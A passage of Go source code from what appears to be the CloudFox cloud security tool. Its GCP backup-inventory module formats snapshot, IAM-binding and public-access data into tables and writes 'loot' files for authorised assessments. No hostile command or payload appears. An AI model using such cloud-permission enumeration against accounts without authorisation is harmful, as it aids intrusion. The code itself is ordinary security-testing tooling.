body = append(body, []string{
m.GetProjectName(s.ProjectID),
s.Name,
m.extractDiskName(s.SourceDisk),
fmt.Sprintf("%d", s.DiskSizeGB),
s.CreationTime,
s.Status,
s.SnapshotType,
autoCreatedStr,
strings.Join(s.StorageLocats, ","),
encryptionDisplay,
"-",
"-",
publicAccess,
})
} else {
// One row per member per role
for _, binding := range s.IAMBindings {
for _, member := range binding.Members {
body = append(body, []string{
m.GetProjectName(s.ProjectID),
s.Name,
m.extractDiskName(s.SourceDisk),
fmt.Sprintf("%d", s.DiskSizeGB),
s.CreationTime,
s.Status,
s.SnapshotType,
autoCreatedStr,
strings.Join(s.StorageLocats, ","),
encryptionDisplay,
binding.Role,
member,
publicAccess,
})
}
}
}
}
return body
}
func (m *BackupInventoryModule) buildTablesForProject(projectID string) []internal.TableFile {
var tableFiles []internal.TableFile
if resources, ok := m.ProjectResources[projectID]; ok && len(resources) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: "backup-inventory",
Header: m.getResourcesHeader(),
Body: m.resourcesToTableBody(resources),
})
}
if snapshots, ok := m.ProjectSnapshots[projectID]; ok && len(snapshots) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: "backup-snapshots",
Header: m.getSnapshotsHeader(),
Body: m.snapshotsToTableBody(snapshots),
})
}
return tableFiles
}
func (m *BackupInventoryModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
// Get all project IDs that have data
projectIDs := make(map[string]bool)
for projectID := range m.ProjectResources {
projectIDs[projectID] = true
}
for projectID := range m.ProjectSnapshots {
projectIDs[projectID] = true
}
for projectID := range projectIDs {
tableFiles := m.buildTablesForProject(projectID)
var lootFiles []internal.LootFile
if projectLoot, ok := m.LootMap[projectID]; ok {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
outputData.ProjectLevelData[projectID] = BackupInventoryOutput{Table: tableFiles, Loot: lootFiles}
}
pathBuilder := m.BuildPathBuilder()
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), GCP_BACKUPINVENTORY_MODULE_NAME)
}
}
func (m *BackupInventoryModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
allResources := m.getAllResources()
allSnapshots := m.getAllSnapshots()
var tables []internal.TableFile
if len(allResources) > 0 {
tables = append(tables, internal.TableFile{
Name: "backup-inventory",
Header: m.getResourcesHeader(),
Body: m.resourcesToTableBody(allResources),
})
}
if len(allSnapshots) > 0 {
tables = append(tables, internal.TableFile{
Name: "backup-snapshots",
Header: m.getSnapshotsHeader(),
Body: m.snapshotsToTableBody(allSnapshots),
})
}
var lootFiles []internal.LootFile
for _, projectLoot := range m.LootMap {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
output := BackupInventoryOutput{Table: tables, Loot: lootFiles}
scopeNames := make([]string, len(m.ProjectIDs))
for i, id := range m.ProjectIDs {
scopeNames[i] = m.GetProjectName(id)
}
err := internal.HandleOutputSmart("gcp", m.Format, m.OutputDirectory, m.Verbosity, m.WrapTable,
"project", m.ProjectIDs, scopeNames, m.Account, output)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), GCP_BACKUPINVENTORY_MODULE_NAME)
}
}
Loaded 100 of 252 files, more files were not shown because too many files have changed in this diff. Show more